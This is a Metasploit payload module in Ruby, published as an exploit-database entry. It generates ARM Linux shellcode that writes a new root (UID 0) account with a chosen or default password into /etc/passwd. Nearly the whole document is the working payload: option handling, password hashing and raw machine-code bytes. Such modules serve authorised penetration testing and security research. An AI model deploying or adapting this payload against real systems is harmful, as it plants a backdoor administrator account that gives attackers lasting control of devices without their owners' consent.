# Exploit Title: Linux/ARM - Create a new user with UID 0 (MSF)
# Date: 2010-11-25
# Author: Jonathan Salwan - twitter @jonathansalwan
# Tested on: ARM926EJ-S rev 5 (v5l)
# Issue link: https://metasploit.com/redmine/issues/3254

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'

###
#
# AddUser
# -------
#
# Adds a UID 0 user to /etc/passwd.
#
###
module Metasploit3

        include Msf::Payload::Single
        include Msf::Payload::Linux

        def initialize(info = {})
                super(merge_info(info,
                        'Name'          => 'Linux Add User',
                        'Version'       => '???',
                        'Description'   => 'Create a new user with UID 0',
                        'Author'        => [ 'Jonathan Salwan' ],
                        'License'       => MSF_LICENSE,
                        'Platform'      => 'linux',
                        'Arch'          => ARCH_ARMLE,
                        'Privileged'    => true))

                # Register adduser options
                register_options(
                        [
                                OptString.new('USER',  [ true,  "The username to create",     "metasploit" ]),
                                OptString.new('PASS',  [ true,  "The password for this user", "metasploit" ]),
                                OptString.new('SHELL', [ false, "The shell for this user",    "/bin/sh"    ]),
                        ], self.class)
        end

        #
        # Dynamically builds the adduser payload based on the user's options.
        #
        def generate_stage
                user    = datastore['USER']  || 'metasploit'
                pass    = datastore['PASS']  || 'metasploit'
                shell   = datastore['SHELL'] || '/bin/sh'
                str     = "#{user}:#{pass.crypt('Az')}:0:0::/:#{shell}\n"
                strl1   = [ (str.length)+52 ].pack('C*')
                strl2   = [ str.length ].pack('C*')
                pwdir   = "/etc/passwd"
                payload = 
                        "\x05\x50\x45\xe0\x01\x50\x8f\xe2\x15\xff\x2f\xe1" +
                        "\x78\x46"+ strl1 + "\x30\xff\x21\xff\x31\xff\x31" +
                        "\xff\x31\x45\x31\xdc\x22\xc8\x32\x05\x27\x01\xdf" + 
                        "\x80\x46\x41\x46\x08\x1c\x79\x46\x18\x31\xc0\x46" + 
                        strl2 + "\x22\x04\x27\x01\xdf\x41\x46\x08\x1c\x06" +
                        "\x27\x01\xdf\x1a\x49\x08\x1c\x01\x27\x01\xdf" + 
                        str + pwdir

        end

end
